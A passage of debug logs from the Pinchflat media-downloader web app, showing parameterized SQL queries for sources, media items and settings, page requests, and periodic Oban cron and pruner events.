((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:47:57.849 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 13:47:57.850 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:47:57.850 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 13:47:57.851 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 13:47:57.852 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:47:57.852 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 13:47:57.853 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 13:47:57.854 [info] Sent 200 in 11ms 13:48:00.098 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:09.050 [info] GET /sources/3 13:48:09.050 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 13:48:09.050 [debug] QUERY OK source="sources" db=0.2ms idle=1519.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:48:09.051 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1520.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:48:09.051 [debug] QUERY OK source="tasks" db=0.2ms idle=1520.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 13:48:09.051 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1521.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1741] 13:48:09.052 [debug] QUERY OK source="settings" db=0.1ms idle=849.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:48:09.052 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:48:09.052 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:48:09.054 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:48:09.054 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:48:09.056 [debug] QUERY OK source="media_items" db=1.6ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 13:48:09.057 [debug] QUERY OK source="sources" db=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:48:09.057 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 13:48:09.058 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 13:48:09.059 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:48:09.059 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 13:48:09.061 [debug] QUERY OK source="media_items" db=1.6ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 13:48:09.062 [info] Sent 200 in 12ms 13:48:22.699 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:52.700 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.100 [info] {"source":"oban","duration":398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:22.701 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:52.703 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.100 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:08.795 [info] GET /sources/3/media/13061 13:50:08.795 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13061", "source_id" => "3"} Pipelines: [:browser] 13:50:08.795 [debug] QUERY OK source="media_items" db=0.2ms idle=1264.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 13:50:08.796 [debug] QUERY OK source="tasks" db=0.1ms idle=460.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13061] 13:50:08.796 [debug] QUERY OK source="sources" db=0.2ms idle=265.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:50:08.796 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=265.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1740] 13:50:08.797 [debug] QUERY OK source="settings" db=0.1ms idle=266.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:08.797 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:08.797 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:08.798 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:50:08.800 [info] Sent 200 in 4ms 13:50:22.704 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:52.705 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:56.175 [info] GET /sources/3/media/9882 13:50:56.175 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9882", "source_id" => "3"} Pipelines: [:browser] 13:50:56.175 [debug] QUERY OK source="media_items" db=0.2ms idle=1645.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9882] 13:50:56.176 [debug] QUERY OK source="tasks" db=0.1ms idle=1645.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9882] 13:50:56.176 [debug] QUERY OK source="sources" db=0.1ms idle=1645.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:50:56.176 [debug] QUERY OK source="settings" db=0.1ms idle=1646.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:56.177 [debug] QUERY OK source="settings" db=0.0ms idle=787.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:56.177 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:56.178 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:50:56.179 [info] Sent 200 in 4ms 13:51:00.101 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:22.706 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:52.708 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.102 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:22.709 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:52.710 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.103 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:22.711 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:52.712 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.104 [info] {"source":"oban","duration":290,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:22.713 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:52.714 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.105 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:22.714 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:52.716 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.106 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:22.717 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:52.718 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.107 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:22.720 [info] 